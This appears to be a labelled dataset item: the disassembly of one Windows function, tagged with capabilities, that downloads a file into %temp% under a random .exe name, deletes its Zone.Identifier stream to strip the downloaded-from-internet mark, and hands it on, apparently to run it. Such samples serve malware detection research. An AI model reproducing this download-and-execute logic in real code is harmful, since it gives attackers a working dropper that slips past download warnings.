Function at 0x40110d
Capabilities:
Create http request
Delete file
Download and write a file
Download url
Query environment variable
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa40
push ebx
push esi
push edi
mov esi, 0x208
xor ebx, ebx
push esi
lea eax, [ebp - 0x220]
push ebx
push eax
mov byte [ebp - 1], bl
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x428]
push ebx
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x838]
push ebx
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0xa40]
push ebx
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x630]
push ebx
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x630]
push 0x403310
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x4c
push esi
lea eax, [ebp - 0x428]
push eax
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
push esi
lea eax, [ebp - 0x220]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x10
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0xea60
idiv ecx
mov edi, 0x2710
add edx, edi
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0xea60
idiv ecx
add edx, edi
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0xea60
idiv ecx
lea eax, [ebp - 0x428]
add edx, edi
push edx
push eax
push str._ls_d_d_d.exe
lea eax, [ebp - 0x220]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x1c
push ebx
push ebx
push ebx
push ebx
push 0x403348
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0x401308
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x630]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x4012ff
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x4012f6
jmp 0x40127c
cmp dword [ebp - 0x10], ebx
je 0x401299
push ebx
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x838]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0x10]
push eax
push 0x207
lea eax, [ebp - 0x838]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x40125f
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x220]
push eax
push str._ls:Zone.Identifier
lea eax, [ebp - 0xa40]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x10
lea eax, [ebp - 0xa40]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x220]
push eax
call fcn.00401f1a
pop ecx
test al, al
je 0x4012f6
mov byte [ebp - 1], 1
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xc]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x14]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [ebp - 1], bl
jne 0x4013a9
push esi
lea eax, [ebp - 0x220]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0xea60
idiv ecx
add edx, edi
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0xea60
idiv ecx
add edx, edi
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0xea60
idiv ecx
lea eax, [ebp - 0x428]
add edx, edi
push edx
push eax
push str._ls_d_d_d.exe
lea eax, [ebp - 0x220]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x1c
push ebx
push ebx
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x630]
push eax
push ebx
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
je 0x4013a9
lea eax, [ebp - 0x220]
push eax
call fcn.00401f1a
pop ecx
pop edi
pop esi
mov al, 1
pop ebx
leave
ret